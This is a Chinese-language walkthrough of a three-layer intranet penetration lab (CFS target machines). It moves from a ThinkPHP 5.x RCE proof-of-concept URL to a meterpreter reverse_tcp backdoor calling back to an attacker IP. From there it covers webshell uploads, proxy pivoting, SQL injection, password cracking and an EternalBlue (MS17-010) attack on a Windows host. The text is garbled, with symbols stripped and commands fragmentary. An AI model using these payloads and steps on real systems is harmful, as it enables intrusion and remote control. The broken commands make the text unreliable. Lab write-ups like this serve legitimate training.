场渗透记录【详细指南】

CFS靶机实战演练-从外网杀进三层内网横向渗透拿到Flag-阿里云开发者社区

(aliyun.com)

可以看到Target1存在ftp、ssh、http等端口且是一个Linux的操作系统。

web渗透

5.X框架直接想到该框架存在远程命令执行漏洞那就先用POC测试一下

/index.php?sindex/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]phpinfovars[1][]1

成功出现了PHPinfo界面说明该版本是存在这在漏洞的接下来就可以直接上工具写入一句话了

直接工具一把梭getshell

查看自己的IP地址并根据自己的IP地址及目标靶机的系统类型生成对应的后门文件

rootkali:~#

linux/x64/meterpreter/reverse_tcp

LHOST192.168.88.128

linux/x64/meterpreter/reverse_tcp

msf5

通过蚁剑将shell.elf文件上传到Target1中并赋予777权限以执行

(www:/www/wwwroot/ThinkPHP/public)

chmod

(www:/www/wwwroot/ThinkPHP/public)

./shell.elf

此时MSF获取到shell可以通过meterpreter添加第二层的路由

run

post/multi/manage/autoroute自动添加路由

在MSF中添加代理以便让攻击机访问靶机2经过多次测试发现MSF使用socks5代理总是失败因此这里还是采用了socks4

msf5

run修改proxychains-ng的配置文件这里也可以使用proxychains进行代理不过前者是后者的升级版因此这里使用proxychains-ng进行代理

rootkali:~#

尝试扫描靶机2该步骤如果一直提示超时可以把MSF退出再重新配置

rootkali:~#

http://ip/index.php?keyword1rvul

--batch

http://ip/index.php?keyword1rvul

bagecms

测试了--is-dba不是高权限那就不尝试--os-shell了

密码MD5解开结果是123qwe还找到一个flag。

然后得找找后台一波信息收集得知这个CMS是根据参数作路由的并根据robots.txt的提示可以发现后台地址http://192.168.22.129/index.php?radmini/public/login登录可以发现第二个flag。

登陆后台看看有哪些功能

后台里面有文件上传的地方有编辑主页文件的地方为了方便我们直接把一句话写入网站文件中。

模板修改文件写入一句话也可

蚁剑连接

生成一个正向连接后门因为内网主机无法直接与本机通信因此无法建立反向连接需要本机通过代理连接到目标机

msfvenom

与之前一样我们可以添加Target3的路由这里就不用设置代理了直接添加路由即可

run

从扫描的结果来看不难看出这是一个开放着445、3389端口的Windows系统那就先用永恒之蓝攻击试试

msf5

exploit/windows/smb/ms17_010_psexec

msf5

exploit(windows/smb/ms17_010_psexec)

set

exploit(windows/smb/ms17_010_psexec)

set

exploit(windows/smb/ms17_010_psexec)

options

exploit(windows/smb/ms17_010_psexec)

run成功拿到shell